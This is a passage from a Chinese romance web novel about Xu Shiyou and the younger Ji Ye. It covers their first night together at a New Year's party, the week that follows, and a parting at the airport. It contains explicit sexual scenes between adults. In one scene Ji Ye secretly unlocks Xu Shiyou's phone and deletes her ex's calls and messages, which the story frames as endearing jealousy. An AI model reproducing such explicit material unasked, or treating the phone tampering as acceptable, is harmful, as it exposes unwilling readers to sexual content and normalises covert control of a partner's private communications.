但她还是没忍住,扯了下唇角,故作无所谓地揶揄:“我是没什么关系,倒是弟弟你……没关系吗?”
她手指点在他胸口:“不怕被你的白月光发现?”
有那么一刹那,季野以为自己的秘密被发现了。
白月光?
他的白月光可不就在他身下嘛?
他低垂着眼,看着他的月亮,黑发如瀑散落在床上,红裙似火,吊带早在纠缠凌乱中滑落肩头,半遮不掩。
长睫在月光下投下淡淡的阴影,桃花眼勾起,慵懒又魅惑,美得不可方物。
没有人比他更清楚,此刻他精神上的亢奋远大于身体上的,他的月亮终于属于他了。
徐诗柚见他不吭声,以为说中了,眸色一点点淡下去,强牵起的嘴角也维持不住了,面露讥诮:“怎么?怕了?也是,毕竟是初恋,多少是不一样的,你要是这么怕,干脆嗯……啊!”
在出声的瞬间,徐诗柚便吓得捂住了自己的嘴,同时怒瞪向身上突然使坏的人。
季野在反应过来她在胡说八道些什么的同时,也同样意识到了什么,嘴角不可控地上扬,他额头抵着她的额头,声音掩不住笑意:“姐姐,你在吃醋?”
“吃醋”这词一落,徐诗柚浑身都写满了抗拒。
片刻的失神间,想起第一次和秦聿因为异性边界的问题争吵。当时秦聿就问她是不是在吃醋。
他当时的话她怎么都不会忘。
他说——
“吃醋那是不自信的人才会做的事,你会吃醋是不是说明你对自己不够自信,觉得自己不如她们,所以但凡看见我和异性稍微多聊几句都觉得有危机感?看谁都觉得我和她们有一腿?不在自己身上找问题,你来质问我?我凭什么要为你的不自信买单?”
她扯起个难看的笑,话语依旧充满讽刺,她不认:“吃醋?你想多了,那是
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不自信的人才会有的情绪,我凭什么要为了——”
季野低头吻住她。
他轻轻动作,喷在她耳廓的呼吸炽热:“我觉得不是那样的。”
“唔…什么?”
“就算是非常自信的人,也是会吃醋的,这问题的根本不是自不自信的问题,只是因为在意,非常在意一个人的时候就是会患得患失……”
他亲吻她的眉眼,一点点诉说自己的不满。
“我看到姐姐和别的男人又说又笑时就非常非常讨厌,不管是那什么社长,还是露台上让姐姐笑得欢畅的人,所有靠近姐姐的我都讨厌!”
他动作重了些:“我嫉妒死了,感觉像喝了一整缸醋。”
季野现在想到刚才在露台看到的画面,都依旧酸得要死,只能把情绪发泄在动作中。
徐诗柚被迫承受着,一边咬紧了下唇听他说。
“我不觉得我比那男的差,但我还是,非常非常吃醋!”他低头埋在她身上,咬牙出声,有些异于平常的阴翳,“姐姐你知道吗…刚才我都有点冲动,想上去揍人了。”
“姐姐你能不能不要对别的男人笑这么好看啊?我真的很不喜欢。”
徐诗柚一手捂住唇,一手攥紧了床单,终是受不了了,她拉下他,重重吻上去。
在理智溃散又重组的来回间,曾经对自己深度的自我怀疑,仿佛都因着他这不讲理的吃醋法而被打散。
是了,她只是在乎,只是正常人对在意的人,会产生的正常情绪。
不是因为她不够好,不是因为她不够自信,小题大做也好,蛮不讲理也罢,这都只是她在意一个人时而产生的正常情绪。她不该因为一个狗男人近乎pua的话而让自己长期陷在一种,觉得是自己不够好的自我怀疑中。
季野嘴里尝到了咸涩的味道,他动作一滞,吓到了:“姐、姐姐?”
他手足无措地给她擦眼泪,也不敢动了:“你怎么哭了?是不是我弄疼你了?”
他的慌乱反而让徐诗柚眼泪流得更凶了。
尽管前面表现得进攻性那么强,其实季野最终落在她身上的都是温柔的对待,除了偶尔情绪上的发泄使坏……
不知道是因为环境克制,还是因为他温柔的顾忌,根本谈不上弄疼她。
外面越来越热闹,不知道在闹腾什么,起哄声一波接一波,仿佛就响在隔壁。
她擦着眼泪无声摇头,决定回应他的坦诚:“你说得没错,我…可能真的有点吃醋……对你,和你那个……”
她咬唇,始终说不出初恋两个字,特排斥:“你说的那个人就是她吧…你之前和我说过的,暗恋的人……”
经她提醒,季野这会才想起自己曾经试探性问过她的话,突然就明白了产生误解的根源。
他笑:“姐姐为什么会这么想?”
“不是吗?漂亮,温柔,还比你大的,你说出来,大家都默认了,还需要我想吗?”
“而且……”她视线撇开,嘴角拉平,语气酸得要死,“我看你这一整晚不都跟人在人屁股后和人有说有笑的嘛?这只要长眼睛的都看得出来你们关系不一般吧?”
季野肩膀都在颤,笑得更开心了,他亲亲她有些鼓起的脸,觉得她吃醋的样子都可爱死了。
“我承认,我今晚是故意的。”他收敛了些笑意,脸埋在她颈侧,声音闷闷的,还带了点委屈,“都怪姐姐,说什么自己不是那种会拈酸吃醋的人,让我感觉你好像一点都不在乎我……”
“我心里不好受,一时犯蠢才会做出这种故意和别人亲近冷落你的行为,是我太幼稚了……”
“我道歉,让姐姐不开心了是我的错,下次不会了。”
“可我真的,就是想让你多在意我一点而已……”
徐诗柚万万没想到,自己居然被摆了一道,小狗居然都会耍心机了。
她气得牙痒痒,不忍了,张嘴就在他肩上咬了一口。
“嘶——”季野痛呼出声,委屈得很绿茶,“姐姐,疼…”
“疼就对了,活该!”
季野再次颤笑出声,眼里闪过一丝恶劣:“哦,那行吧。”
他突然抽出,把她翻了个面压上,骨骼分明的手贴着从她的手背一路推上来,与她掌心贴手背十指交叠。
“不说些扫兴的了,我也想好好疼一下姐姐……”
徐诗柚恼死了,又被力量压制。
他还在得寸进尺:“姐姐,这样慢慢磨有点难受啊,你还难受吗?不难受的话我能不能……”
“闭嘴!”
“……”
36. 烟花
缓过最初的不适后,这事好像就只剩快乐可言了。
但到底是第一次,装得再怎么冷静成熟,身体反应也是骗不了人的,何况这不止是生理上的刺激,精神上的愉悦更是高居其上。
坚持没几个回合,季野就装不下去了,在溃败后蔫蔫地埋头搂住她,先发制人:“现在信了吧?说了…不许嫌弃的!”
徐诗柚笑得胸腔都在颤,呼噜着埋在她颈侧的那颗黑黝黝的脑袋:“我还没说什么呢,你急什么?”
季野:“……”
“而且,我怎么知道这是你的真实水平还是……”
她还在激他,只是没嘚瑟太久。
在感受到对方抵在她腿间的变化时,说不出话了,甚至挑衅的笑容都还没来得及收回,某人已经重新振作了过来。
这冷却时间…有1分钟……吗?
该说不说,不愧是…钻石男大?
他支起身,冷笑,准备报复的状态。
“呵,试试呗。”
果然,没有任何男人能听得这种话。
……
再贵再牢固的床都无法在种状况下,完全不发出一点声响,在这样空旷的室内,更为显然,混着其他的暧昧潮音,更是听得人脸红耳热。
但这已经是两人极度克制的结果了,都不敢动静太大。一个不敢动作太大,一个在强忍宣泄出声的冲动,只能手狠掐住对方。
徐诗柚眼神都是涣散的,瞳孔里倒映出的天花板顶灯摇曳不停。
不知过了多久,余光里突然亮起了一抹七色光彩,窗帘大开的落地窗外,烟花升起,炸开,再慢半拍地砰然响起。
两人的手机开始嗡嗡嗡地震个不停,屏幕亮了又暗,暗了又亮,可能是祝福短信,也可能是有人找,但没人有空管。
季野背对着落地窗,只能从她的眼睛里看到那一簇簇亮起又炸开的斑斓,耳边是天际的一声声闷响。
他动作放缓,低声:“姐姐,12点了。”
徐诗柚收紧揽住他脖颈的手,把他拉下,同他严丝合缝地贴在一起,感受来自对方的充实:“嗯,生日快乐,然后,新年快乐。”
“说起这个,姐姐还欠我份礼物呢……”说到生日,小狗有些委屈。
“真忘在家里了?”毕竟是最期待收到的礼物,她说忘了的时候,他确实忍不住失落。
徐诗柚摇头:“不是,我没准备。”
“……”还不如不问。
他很快把自己哄好:“没有就没有吧,姐姐不送我,我送你好了。”
“送我什么?”
“姐姐之前不是嫌我小?我这几天可都很听话没找你呢,现在我20了…他用鼻尖去蹭她的,“把20岁的我送你好不好?”
“……”
都在身体力行了,还谈什么送不送的!
“怎么感觉你脸皮越来越厚了?”
“姐姐不喜欢?”
“……还行。”
外面的烟花一声接一声,季野朝身后的落地窗望了眼,落地窗的窗帘大敞着,单人的软沙发被推至窗前,沙发脚边摆着酒瓶和歪倒的酒杯,看起来像是在他来之前,徐诗柚正在窗前酌饮。
他突然问:“姐姐,想看烟花吗?”
“嗯?”徐诗柚脑子混沌一片,视线都不聚焦。
“我带你去看烟花吧。”
“看什么烟……啊——!”话刚落,她突然被捞住两条腿整个抱起,吓得赶紧夹住了他的腰,以防掉落。
他抱着她一步步走动,一颠一颠的,让她差点崩溃失声。
直到身体触上冰凉的玻璃时,徐诗柚都仍不敢相信这是季野能干出来的事。
落地窗正对露台的方向,能看到二楼露台靠外边角的一部分,而此时,露台正是最热闹的时候,大家都在烧烤,看跨年烟火,拍照,徐诗柚甚至能看到地上的人影晃动,如果谁走到这个地方,往上看那么一眼……
“你疯了吗!”
她震惊回头,却被掐着下巴,强行转回了落地窗。
身后,季野滚烫坚硬的身体压上,话说得道貌岸然:“姐姐,专心点,看烟花。”
!!!
“姐姐放心,这是用特殊的隐私玻璃做的,外面看不到里面。”伴随着乱频的呼吸,他在她耳边哑声安慰。
安慰不了一点!!
就算他这么说!就算外面的人看不见!但她能看见啊!
徐诗柚甚至连他们聊天的对话和嬉笑声都能清晰听见。
有人在喊:“你们有谁看见季野没?0点都过了,他怎么没上露台这边?”
“要不要找找?好歹他是宴会的主人公啊。”
徐诗柚吓死了,大脑被吓得极度清醒且兴奋,但身后的人压根不受影响似的,完全没有要停下的意思。
到后面,玻璃上结出的雾气散了又聚,聚了又散,留下一道道拉长的掌印。
底下的人有没有来找她不知道,耳边是闹腾的人声,嗡鸣的手机震动音,烟火在天空的闷响,间夹着暧昧的撞击声。
烟花炸了一次又一次,徐诗柚已然分不清,看到的究竟是外面的烟花,还是她脑内的烟花,大脑只剩一片朦胧的白雾,思考都难以。
季野把她软下去的身子捞起,安抚地去亲吻她耳垂,连同潮热的呼吸:“姐姐,你这次好快…其实你也挺喜欢的吧?”
我喜欢你个头……
徐诗柚连骂他的力气都没有了,站也站不稳。
她又被抱回床上,看见他人在到处找盒子。
找不到正好,她抬脚把他踹开:“我累了,不做了……”
季野好不容易从乱七八糟的床铺中翻到了盒子,听见这话,拿套的手顿了下。
他慢吞吞抽出最后一个,把盒子扔掉,抓住她踹在自己腹部的脚,一个拉扯,把人拉了回来:“还有一个呢,不用多浪费……”
“浪费就浪费吧,我困……”她累得眼睛都快睁不开了,今天在别墅忙活了一天,又喝了不少酒。
他妥协,乖顺地点头,亲亲她发顶:“好吧,那姐姐睡吧,不用你动。”
“……”
!!?
结束的时候,烟花早已歇了,只剩稀稀拉拉偶尔从远处传来的,烟花在空中炸开的闷响,至于是哪里在放,没人知道。
她被抱着去洗了澡,出来懒洋洋地趴在床上,一动不想动。
楼下依旧人声沸鼎,好像就没人打算休息,所以说年轻人呢,精力就是旺盛,熬夜都不带虚的。
床的一侧塌陷下去,察觉有人上了床,徐诗柚滚了个圈,自动滚进对方怀里,搂住,像只慵懒的猫咪,软软的脸蛋贴在他胸前轻蹭,找了个合适的位置。
季野怔愣几秒,有些受宠若惊。对于她这种缠绵后的依赖粘糊行为感到意外的同时,很受用。
但她说的话,季野就不爱听了。
徐诗柚好像还是很在意,闭着眼仍旧在嘟囔:“真的没关系吗?真不怕你的初恋白月光……”
“啵”,季野重重亲她一口。
“姐姐别再给我乱套渣男人设了行不行?”他把人搂紧怀里,又去亲她的发顶,“我的初恋白月光只有一个,就是姐姐。”
徐诗柚才不信,只觉得他是在哄人,但她太困了,上下眼皮都在打架,没精力追问。
又嘟哝了两句什么,便沉沉睡去了。
季野睡不着,恍惚在梦里,因着一切都太不真实。
两人的手机在床头嗡嗡震了一晚上,季野捡起自己的划拉过去,大多数都是新年祝福的信息,中间夹杂着问他在哪的,倒数了,放烟花了,人呢,之类的问话。
还有直接给他打电话的。
季野看了眼旁侧熟睡的人,嗯,烟花,他们也看了……
一想到是在什么情境下看的烟花,亢奋的源头又开始蠢蠢欲动起来,脊背都是过电的酥麻,仿佛还在余韵中。
这辈子都没这么爽过。
他现在有点明白为什么大家都热衷于这种毫无美感的原始性行为,并对此乐此不疲了…嗯,确实妙不可言……
余光扫到徐诗柚的手机又亮了,这次是持续的震动声,不过一眼,季野的眼神便沉了下去。
秦聿。
季野就这么安静地盯着她手机,直到震动停下,屏幕亮起一个未接电话数量,17。
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不过几秒,安静下去的手机又响了起来。
季野眼神凝滞几秒,接起。
电话才接通,那边就传来男人咬牙切齿的声音:“冷死了!你搞什么鬼?电话也不接,信息也不回,家里也不见人,跨个年还玩失踪?”
季野沉默着听他说完,才慢慢回道:“抱歉,她睡着了,你找她有急事吗?需不需要我叫醒她?”
手机那头死一般的寂静。
不知过了多久,才传来一声冷笑。
“季野?你是季薇的那个弟弟,对吧?”
才见过一面就知道他是谁了,看来他也不像表面表现的那么不在乎姐姐嘛。
季野没回答他的问题,又问了一遍:“你找姐姐有事吗?用不用我帮你转达一下?”
秦聿的声音依旧冷:“不必了,我会自己联系。”
电话挂了,季野拿下手机盯住几秒,然后…人脸识别解锁,把对方的未接来电删除,又把对方微信发的信息一并删除。
做完一切后才躺下抱住怀里人,脸深深埋进对方。
……
徐诗柚不知道睡了多久,醒来时视野里还是昏沉一片,不像是天亮了。
她是被体内的情潮唤醒的,她不安地扭动着身子,大腿内侧有细细密密的什么扎得她发痒,让她下意识拢紧了腿。
也就是这个时候,看了一晚上的烟花再次在她脑中炸开,然后白花花的一片,战栗不已。
她忍无可忍地弓起身子想要抓住什么,手陷进柔软的黑发中,终于知道是什么扎的她了。
察觉到她清醒,季野抬起了头,支起上半身看来,手背擦着脸上浸染的水渍:“姐姐醒了?”
身后的落地窗大开着,圆月至他身后高挂,他支起的身子,让徐诗柚宛若幻视月下嚎叫的狼。
尽管,尾巴和耳朵都在欢快地向她臣服,他更像只征讨领地的小狗,甘愿低下漂亮的脊背,埋头尽心为她服务,但也掩盖不住他狼的本性。
徐诗柚在持续几秒的失神后,总算清醒几分,一脚踹向跪在她腿间的人:“……你有完没完了?大半夜的让不让人睡了!”
季野握住她踹来的脚踝,也不恼,把她被推至腰间的裙摆拉下,凑上去抱住,想亲她,被徐诗柚嫌弃地避开。
季野不管,还是朝她脸上吧唧了一口,黏黏糊糊地解释:“不是大半夜,现在早上6点多了,姐姐。”
冬天白昼短,这个时间天还黑着也正常。
“那你也不能一醒来就…就……”她想到刚才的画面,脸上还热着。
昨晚两人才第一次,今早这人就这么毫无负担地对她做起这种羞耻的行为了…这人是不是也太不客气了点?怎么感觉人设都崩了啊喂!
说到这,他还委屈上了:“本来早上就容易兴奋…昨晚那盒一共才3个,不够啊,我难受,只能想别的办法……”
徐诗柚更无语了:“那你弄你自己啊!弄我是怎么个事?”
季野亲亲她耳垂,声音含糊,像是已经忍耐到了极点:“嗯,所以现在换姐姐帮我了……“
“?”
“有来有往嘛,我都帮姐姐了……”
是我让你帮的吗!占完便宜还甩锅?
徐诗柚不干,季野已经握住她的手,顺着小腹往下滑。
“都憋疼了,姐姐……”
耳边是小狗委屈巴巴的声音,徐诗柚心软了,嗯,好像是憋得有点狠……
她叹了声,认命。
“姐姐,昨晚我唱的歌,你听见了吗?”得到奖赏,他一会亲亲她眼睛,一会亲亲她脸蛋,像只小狗一样拱来拱去。
“听见了,唱得很好。”徐诗柚麻木动作,客观评价。
“那姐姐的意思呢?”
“什么我的意思?”
“没听懂吗?我说歌词……”
徐诗柚眉心一跳,看来不是她敏感,他就是想用歌暗示她点什么。
他含咬住她耳垂,呼吸变重了些,蹭着她耳朵追问:“姐姐,我不想当弟弟了,也不想当朋友,你打算…什么时候给我个名分?”
“第一次都给你了,你得对我负责……”
37. 粘人
徐诗柚被他蹭得有些来了感觉,慌忙用空着的手挡住他乱拱的脑袋:“你别拱了,怎么跟小狗似的……”
小狗听话地停止了作乱的脑袋,抬起头认真看她,在等她回应,只是黑亮的眼睛还是在一波波快感中控制不住地溃散。
快到的时候,他突然推住她的肩放平到床上,身体压上,低头吻住,在缠-绵的吻中释放。
徐诗柚气死了,锤他:“非要弄我身上!”
季野挺不要脸地接了句:“小狗标记领地是这样的。”
“……?”徐诗柚震惊得都不会说了。
-
两人大早上的又去洗了个澡。怕失控,徐诗柚坚决拒绝一起洗。
昨晚太累了,没洗头,这会顺带洗了。出来后,季野要替她吹头发。
徐诗柚有些怕被人听到动静,不让他吹。
“不会的,留下过夜的房间都安排在二楼,听不见的。”
听见他说,她才放下心来。
季野吹头发的动作有些生疏笨拙,但很认真,修长手指穿梭于她的发间,带着几分缱绻温柔。她总共也没睡几小时,在呼呼的热风声中,又起了困意。
“季野。”她抽回几分倦怠的神思,唤他,要说正事,“刚才你问我的事……”
她低头,有些纠结地抠着手指,也在反思昨晚的冲动是不是应该:“有件事我可能需要和你说一下……”
季野把风调小,握住吹风机的手指紧了紧,泄出几分紧张。
“圣诞节那晚,你姐曾问我,要不要跟她回京市。”
替她捋着发尾的动作一滞,风声随之停下。
徐诗柚知道他听见了:“你应该知道你爸一直想让你姐回去的吧?我当初,是因为你姐才来A市的,现在她要走了,我想了想,好像也没有非要留在这里的理由。”
“所以你也准备回京市?”季野终于开口问了。
“嗯,有这个打算……所以你刚问我的问题,我还不知道该怎么回答你。如果我们现在要确定关系,这意味着我们可能要有长达两年的异地恋,你懂吗?”
“你才刚过20岁,又这么优秀,选择其实很多的,异地恋它…没想的那么简单,如果真要变成那样,我觉得……”
季野没等她说完,丢了吹风机,从床上下来,把她掰向自己,眼尾有些泛红:“什么意思?姐姐这是想把我用完就丢吗?”
徐诗柚愣了下,解释:“我不是那个意思……我只是觉得,你需要认真考虑一下。”
“是我需要考虑还是姐姐需要考虑?”
“京市有那个男人吧?所以姐姐才需要考虑!”
季野不怕什么异地恋,京市本就是他从小长大的地方,徐诗柚愿意到那边发展再好不过,他介意的只是,他不在的时间里,那个男人却和她在同一个地方。
从昨晚对方打电话的次数,隔三差五跑来这边的频率来看,完全不是不在意姐姐的样子,他不敢想,如果他们在同一个地方,对方会怎样地主动,姐姐又会不会心软。
毕竟是她曾经很喜欢的人。
徐诗柚没想到他会提秦聿,想着他是不是知道些什么,一时间竟不知道该作何反应,她嘴唇翕动,半天说不出一句话。
季野却被她的反应刺到,误以为她是默认,握住她肩的手缓缓垂落,紧攥成拳。
半晌,他压下所有焦躁,平缓出声:“姐姐想去哪发展我都没意见,那里毕竟是我家,你愿意去那我高兴都来不及,至于姐姐说的异地恋,我不用——”
话被挡下。
预料到他会怎么说,徐诗柚抬手捂住了他的嘴阻止他往下说,轻轻摇头。
“这个你先不要急着下决定,我大概这个月中旬就要回家了,我们都认真想一想,等我回来再做决定,好吗?”
徐诗柚始终觉得,他还太小,这个年纪很容易把爱情当做一切,对感情一腔热忱地不管不顾,就像从前的她,轻率地做出决定。
但徐诗柚已经不是那个无所畏惧的年纪了,还在感情里栽过一次,要她认真开始一段感情,她会有很多顾虑。
季野随着她的话,眼神一点点暗淡下去,但他在她面前总是听话的,最终还是沉默着点头答应:“……知道了。”
……
昨晚还极度缠绵的两人,因着一番对话又迅速冷却了下来。
看着天色渐亮,徐诗柚收拾打扮一番,和季野错开时间出门。
她离开房间前,一脸欲言又止地看了眼昨晚被换下,随手丢在地上的床单。
季野看出她意思,虽然心情烦闷,还是尽力让她放心:“等会我会处理的,不会让人发现……我姐也不会。”
徐诗柚点点头,然后跟做贼似的,头探出房门,确定没人了才敢往走廊去。
别墅这会很安静,二楼的某些娱乐室里横七竖八地躺了几人,到处都是酒瓶子,还清醒的都去安排的房间睡了,不清醒的就地睡了过去,另外还有一些忙的,可能昨晚就走了。
“姐姐,早。”
在走向一楼的时候,有道声音朝她打招呼。
徐诗柚偏头看去,是许静。
她笑容温柔和善,还喊她姐姐,徐诗柚再不爽她,也不好摆脸色给人看,她莞尔:“早。”
许静和她打完招呼,视线又移向她身后不远的地方:“阿野,你也好早啊。”
徐诗柚咯噔一下,回头望去,季野就在她身后两三步的地方。
不是让他等个十分钟再出来的吗!
季野似乎没适应她刚才唤他的称呼,稍稍一顿,随即眉心蹙起。
“你昨晚跑哪去了?大家都在找你呢。”许静走上前去,一副熟稔的姿态,嘴里说着稍显责怪的话。
徐诗柚看了他们一眼,觉得没什么自己事了,径自往楼下去。
季野本就心情不太好,见徐诗柚走,生怕她误会,立马要跟上,随口敷衍道:“昨晚喝了点酒,又困,找了个房间歇下了。”
他往楼梯下走几步,又回头。他不太擅长让人难堪,况且学姐以前在学业上给过他指导,但在人情和情人之间,他还是清楚自己选择的,何况昨晚他就已经和她说得很清楚了。
“那个……学姐以后还是喊我名字吧,我不太习惯。”
许静神色微僵,脸上挂着的温柔笑意多了几分尴尬,她唇角极轻地牵扯了下,还是维持住了体面:“抱歉,我看大家都是这么喊你的,就跟着一起喊了。你要是不喜欢,我下次便不喊了。”
“嗯,没事。”季野说完,看了眼已经拐进餐厅的人,连忙跟上。
许静站在原地,看着两人往同一个方向去的背影,又看了眼楼上。如果她没看错的话,两个人,好像是从同一个方向过来的……
季野说的那个初恋,就是她吗?
看来真是她自作多情了,被别人说多了,真当回事了,还真以为他也对自己……
-
元旦假期过后没多久,季野在学校的考试结束了,很快又迎来了寒假。
原本他是要跟着季薇一起回京的,但徐诗柚订的一星期后的机票,季野就赖在她这不走了,非要等着她一起走,便随便找了个借口先把他姐打发走了。
季薇冷呵一声,看破不说破。
来了这么多回,季野这回总算成功打入了徐诗柚的卧室,也终于成为了那组“买六送一”的主人。
只是……
“姐姐,买小了,好难受……”季野撑在她两侧,拧眉。
徐诗柚心神都在其他感官上,胡乱应着:“小吗?不知道啊……”
本来就是乱买的,哪里有看尺寸,她伸手捞过盒子看了眼,瞪大了眼控诉:“这不已经是大码了吗!哪小了?”
季野手按在她薄薄的肚皮上,重重撞她一下:“姐姐说呢?”
徐诗柚差点失声,爪子在他背上胡乱划拉,咬牙切齿:“那你自己
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买!”
……
从前只是听,都说弟弟年轻力壮,有劲是真往你身上使,自己亲身体会了把才真正懂得了这句话的含金量。
她怕是这辈子都不敢招惹第二个弟弟了,尤其是开过荤的弟弟。
不仅食髓知味,还不知收敛,没轻没重……不知羞耻!
徐诗柚觉得他好像都没那什么贤者时间的,CD还短,逮着机会就往她身上扑,以至于她都产生了要不要连夜改机票逃走的想法了,睁眼看见他就开始腿软。
不知道是因为两人即将要分开,还是因为她已经确定过完年后就要离开这的缘故,他就像只缺乏安全感的大型粘人犬,有极高的陪伴需求,她忙,他要坐在一旁看着陪着,她一闲,他就立马扑上来求陪伴求安抚,要亲亲要抱抱。
徐诗柚度过了极为疯狂且水深火热的一周,卧室的床,浴室,书桌,餐桌,沙发…家里几乎每个角落都被他开发了一遍,他像怎么都要不够似的,恨不得死她身上。
第一次的时候,因为环境特殊,两人都相当压抑,但在家就没这顾虑了,他们可以放开了做。
但季野又不是那种粗暴型的,大多时候他还是很顾及她感受的。
他不知道哪里学的,特擅长那种绵长又磨人的方式,虽然温和,但徐诗柚常常被他吊得不上不下,骂骂咧咧的,想结束又结束不了,简直要命!每次都只能哭哭啼啼地求着他快点,他就偏不。
……
临行前一天,季野给她拿衣服时,在衣柜角落翻出了双鞋子。
主要是包装太熟悉了,他没忍住,打开看了眼。
看清楚后,他抱住鞋盒转身,看床上已经被折腾得软绵无力的人,唇角轻轻扬起:“送我的?”
徐诗柚往天花板看了眼:“送狗的。”
“我的鞋码。”
“狗跟你一个鞋码。”
“那姐姐的这只狗挺大的。”
刚从情潮中出来,徐诗柚懒洋洋地也没个正形,视线往下,朝某人的那处瞥了眼:“嗯,是挺大的。”
“……”季野被噎了下,窘然,差点又想扑过去跟她再战个三百回合了。
最后他也确实一脸高兴地扑了过去,尾巴摇成螺旋桨:“什么时候买的?”
“生日的前一周。”
她这么一句话,他已经在脑子里捋完了整个逻辑:“所以这是原本要给我的生日礼物?”
“嗯。”她闷声应着,没送出去她其实心里憋屈挺久的,也懒得掩饰。
“那为什么不送?”尽管已经猜到了她没送出手的理由,他还是忍不住问。
徐诗柚白他一眼:“怎么,这么贪心?还要两双同款的换着穿?”
季野笑得开朗,抱住她亲一口:“没有两双,只有姐姐这双。”
见她疑惑,他解释:“这双鞋子不便宜,以我和学姐的交情不可能收下的,但是当着那么多人面拒绝她不太好,所以我那会才收的。后来已经把鞋子还给她了。”
季野确实是很喜欢这双鞋子的,所以以前跟她姐提过那么一嘴,他不知道学姐是怎么知道他喜好的,但这双鞋经她送过之后,季野自己也没打算再买了,就是怕徐诗柚看到会误会。
没想到,心头好兜兜转转还是到了自己手上,还是喜欢的人送的。
“哦。”徐诗柚没什么表情地应了声,似是不在乎,实际嘴角都快压不住了。
“我可是很守男德的,绝不收一点带暧昧暗示的礼物。”他抱住她轻蹭,又开始得寸进尺,“我这么乖,姐姐有没有奖赏?”
徐诗柚一听奖赏两字,眉心一跳,头皮发麻,雷达拉满。
两人不过一个目光的交汇,就已经秒懂了对方的意图,徐诗柚紧急爬走,不出意外地脚腕被拽住,扯回,被子一拉,天旋地转。
……不是去拿衣服换的吗!!
不是说好了不能成天在床上度过,要出门逛逛的吗!!!
38. 想你
隔天,两人一起到的机场。
两人订了不同的航班,但时间差不多,登机口也在同一片区域。
徐诗柚眼看他都快要跟着她一起登机了,无奈转身。
“好啦,你也快过去吧,不用陪了~”她一垫脚伸手,对方就很自然地弯下腰来把脑袋凑上,徐诗柚轻易便够到了他脑袋,揉了揉他柔软的黑发,指尖顺带捏了捏他微冷的耳垂。
季野低下头来,抵在她肩上,声音闷闷的:“不想分开……”
不过一个春节都这么难分难舍,更何况长达两年的异地恋,季野原先觉得异地恋没什么,这么多年的独自关注都熬过来了,两年算什么?
但原来得到过和没得到,是不一样的,好像是没有说的容易。
“乖啦,小狗~”她笑着推他,“别撒娇了,马上检票了。”
季小狗一步三回头地往自己登机口走去,广播里开始播报她的航班,徐诗柚收回视线准备转身。
“姐姐!”
刚迈出一步,听见有人喊,她回头。
下一秒,余光里有人朝她奔来,凉风袭过耳际,视野一黑,便被整个抱住。
“姐姐记得要想我!我不在的时候也不许有别的小狗,每天都要联系……”季野略显急促的声音从耳畔传来,像是警告,又像在撒娇,“知道了吗?”
徐诗柚先是一愣,而后心倏地塌成一片,软软的。
原以为只是暂时分开一段时间,没什么的,不知道是不是被他缠惯了,这会终于慢半拍地生出了几分不舍。
她用力回抱他,轻声回应:“嗯,知道了。”
她只有过一段算不上恋爱的感情经历,在对方那里从未获得过什么情绪价值,什么不舍,想念,对方是从不向她表达的。
哪怕她主动说想他,也只会换来对方凉凉的一句“是吗?可我不想你”。
她觉得自己还算了解他,知道他嘴毒又嘴硬,明白他的口是心非,并不是真的不想,所以没关系,她心里清楚就好。
但不是那样的,喜欢啊,想念啊,不舍啊,是要说出来的,要让对方清楚明白地知道,而不是让对方猜。
偶尔小小的傲娇很可爱,但总是口是心非,时间久了,是会让人失去安全感的。她就是在反复猜测对方的话语究竟是发自真心还是嘴硬的过程中,变得患得患失,也越来越没自信。
他到底爱不爱我,他到底想不想我,我对他重要吗,这些问题长期得不到正面反馈,人心是会寒的,毕竟没人会愿意总拿自己的一腔热忱,去接别人的一盆冷水。
这种爱情到底谁爱吃啊?
看别人酸涩拉扯可能很爽,真要自己谈上,才知道是多大的精神内耗,她又不是自虐狂,为什么要在寻求爱意的感情里没苦硬吃?
她就要热烈的,直白的,明目张胆的爱!
她想通了,异地恋就异地恋吧。
但她现在还不能说,选择权应该给季野,他还年轻,她需要他认真考虑过后的回答。
她踮脚,在弟弟唇角落下一吻:“会想你的,我的小狗。”
……
-
徐诗柚下午3点落地北城,4点半到家,并没有如愿迎来父母的温暖关切,相反的,她已经面临周女士长达两小时的炮轰了。
来来回回就是念叨她爽约之前给她安排相亲的事,搞得她都不好意思和人交代,说着说着,就又开始说她的工作,说她的生活毛病,鸡零狗碎,只要能拿来念叨她的,这会都要扯出来说上一嘴。
【姐姐,到家了吗?】
徐诗柚往耳朵里悄悄塞了团棉花,低头回复:【到了,你呢?】
季野拍了张照片发来,是他的房间,比在季薇家的房间要大不少,但那种性冷淡的机械风如出一辙。
【想你。】
徐诗柚唇角无意识勾起,结果被周敏瞧见了,气更不打一处来。
“笑笑笑,我在跟你说话呢,你还给我玩手机?”
徐诗柚无奈地收起手机,往老父亲抛去个求救的眼神,徐父接收到,只好出声:“行了,闺女好不容易回来一趟,你这嘴得得得个没完,等会又把人吓跑不回了。”
“你还好意思说,都是你惯的!”
徐父一起遭殃,不过周女士终于休嘴了。
熬过了母亲最难顶的嘴炮后,徐诗柚后面几天就过得舒心多了,天天穿着身睡衣窝家里,过的是衣来伸手饭来张口的生活。
周敏虽最看不惯她这懒散劲,看见总要说几句,但不妨碍她边骂还边给她做饭切水果递零食,投喂各种好吃的。
等到除夕夜那天,家里来了很多亲戚,大的小的,热热闹闹。
徐诗柚可就惨了,年夜饭后,被摁在沙发上问长问短,一开始还在问工作上的事,徐诗柚都给敷衍过去了,问着问着,毫无意外就开始关心起她的感情生活,终身大事。
尤其是小姑,她家姑娘嫁了个有钱的,对方虽然长得一般,有点圆润,年纪也大了点,但胜在家境好啊,表姐自从嫁过去,换房换车换名牌,别提有多让人红眼了。
算是亲戚里嫁最好的一个,谁看见小姑不得叹一句好福气?所以小姑这会正是人生春风得意之际。
表姐也就比她大一岁,小姑自己家过好了,可不就有闲心操心她了?
“你表姐夫圈子里的可都是有钱人,只要我开口,肯定能让他给你物色几个优秀的。”
徐诗柚很给小姑面子的,赶紧把手机递过去:“好的,谢谢小姑,那还等什么,赶紧让我加上几个优秀的瞧瞧?我好先聊聊!”
小姑这会哪有什么优秀人物,面露一丝尴尬:“现在没有,你又不是不知道,你表姐跟着你表姐夫住到京市了,你表姐夫忙,得等个几天才能来,我到时候给你问问。”
徐诗柚秒收回手机:“哦。”
【姐姐,在干什么?】
收回手机的时候,屏幕亮了下,有新消息进来,她心情立马阴转晴,她家小狗想她呢。
【在听鬼话呢。】
【什么鬼话?】
“哎,对了,诗柚啊,你喜欢什么类型的?回头我让你表姐夫给你留意下。”
徐诗柚淡淡抬眼,扯出个灿烂的笑容:“小姑,我喜欢比我小的。”
小姑听了一愣,眉当即拧紧:“诗柚呀,不是我说啊,你别看这年轻的好,但他不成熟啊!你听小姑的一句劝,这年纪小的不稳定,还是找个大点的好,会疼人!”
